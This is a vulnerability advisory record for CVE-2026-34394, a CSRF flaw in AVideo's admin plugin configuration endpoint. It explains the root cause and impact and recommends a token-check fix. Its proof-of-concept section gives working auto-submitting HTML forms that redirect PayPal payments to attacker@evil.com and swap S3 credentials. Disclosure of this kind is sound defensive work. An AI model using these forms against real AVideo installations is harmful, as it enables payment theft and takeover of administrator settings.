{"id":"CVE-2026-34394","aliases":["GHSA-4wwr-7h7c-chqr"],"url":"https://o3.security/vulnerability/CVE-2026-34394","summary":"AVideo: CSRF on Admin Plugin Configuration Enables Payment Credential Hijacking","details":"## Summary\n\nAVideo's admin plugin configuration endpoint (`admin/save.json.php`) lacks any CSRF token validation. There is no call to `isGlobalTokenValid()` or `verifyToken()` before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session.\n\nBecause the `plugins` table is included in the `ignoreTableSecurityCheck()` array in `objects/Object.php`, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more.\n\n## Details\n\nThe session cookie configuration in `objects/include_config.php` at line 135 explicitly weakens the default browser protections:\n\n```php\n// objects/include_config.php:135\nini_set('session.cookie_samesite', 'None');\n```\n\nThis means cookies are attached to all cross-origin requests, making CSRF attacks trivial.\n\nThe save endpoint in `admin/save.json.php` directly processes POST data without any token verification:\n\n```php\n// admin/save.json.php\n$pluginName = $_POST['pluginName'];\n$pluginValues = $_POST;\n// ...\n$pluginDO->$key = $pluginValues[$key];\n$p->setObject_data(json_encode($pluginDO));\n$p->save();\n```\n\nThe `plugins` table is explicitly exempted from security checks in `objects/Object.php` at line 529:\n\n```php\n// objects/Object.php:529\nstatic function ignoreTableSecurityCheck() {\n    return ['plugins', /* ... other tables ... */];\n}\n```\n\nEven the ORM-level protections that exist for other tables do not apply to plugin configuration writes.\n\n## Proof of Concept\n\nHost the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker's address:\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Loading...</title></head>\n<body>\n<form id=\"csrf\" method=\"POST\" action=\"https://your-avideo-instance.com/admin/save.json.php\">\n    <input type=\"hidden\" name=\"pluginName\" value=\"PayPerView\" />\n    <input type=\"hidden\" name=\"paypalReceiverEmail\" value=\"attacker@evil.com\" />\n</form>\n<script>\n    document.getElementById('csrf').submit();\n</script>\n</body>\n</html>\n```\n\nTo overwrite S3 storage credentials instead:\n\n```html\n<form id=\"csrf\" method=\"POST\" action=\"https://your-avideo-instance.com/admin/save.json.php\">\n    <input type=\"hidden\" name=\"pluginName\" value=\"AWS_S3\" />\n    <input type=\"hidden\" name=\"region\" value=\"us-east-1\" />\n    <input type=\"hidden\" name=\"bucket\" value=\"attacker-bucket\" />\n    <input type=\"hidden\" name=\"key\" value=\"ATTACKER_KEY_ID\" />\n    <input type=\"hidden\" name=\"secret\" value=\"ATTACKER_SECRET\" />\n</form>\n```\n\nReproduction steps:\n\n1. Log in to AVideo as an administrator.\n2. In a separate browser tab, open the attacker's HTML page.\n3. The form auto-submits, overwriting the target plugin configuration.\n4. Verify the change by navigating to the plugin settings page in the admin panel.\n\n## Impact\n\nAn attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include:\n\n- **Payment hijacking**: Change PayPal receiver email or Stripe keys to redirect all payments to the attacker.\n- **Credential theft**: Replace S3 bucket credentials so uploaded media is sent to attacker-controlled storage.\n- **Authentication bypass**: Modify LDAP/OAuth plugin settings to point at attacker-controlled identity providers.\n- **Backdoor installation**: Enable and configure plugins to introduce persistent access.\n\nThis is a full platform takeover with zero user interaction beyond a single page visit.\n\n- **CWE**: CWE-352 (Cross-Site Request Forgery)\n\n## Recommended Fix\n\nAdd CSRF token validation at `admin/save.json.php:10`, immediately after the admin check:\n\n```php\n// admin/save.json.php:10\nif (!isGlobalTokenValid()) {\n    die('{\"error\":\"Invalid CSRF token\"}');\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","published":"2026-03-31T20:39:45.781Z","modified":"2026-10-28T02:30:21.395556671Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34394.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34394"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:21.395556671Z"}}